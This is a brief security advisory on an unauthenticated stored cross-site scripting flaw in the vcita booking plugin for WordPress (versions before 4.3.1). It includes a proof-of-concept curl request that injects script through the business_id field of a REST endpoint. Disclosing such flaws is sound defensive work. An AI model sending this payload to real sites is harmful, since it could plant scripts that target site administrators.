Online Booking & Scheduling Calendar for WordPress by vcita < 4.3.1 - Unauthenticated Stored Cross-Site Scripting

The plugin does not sanitize and escape the business_id parameter of an unprotected REST route endpoint before rendering it back in pages on the website, allowing an unauthenticated attacker to inject arbitrary web scripts, which could target authenticated users such as administrators.

PoC

curl https://example.com/wp-json/vcita-wordpress/v1/actions/auth \ –json ‘{ “success”: true, “user_data”: { “business_id”: “"; alert(1); //”, “business_name”: “Evil Eve”, “email”: “[email protected]” } }’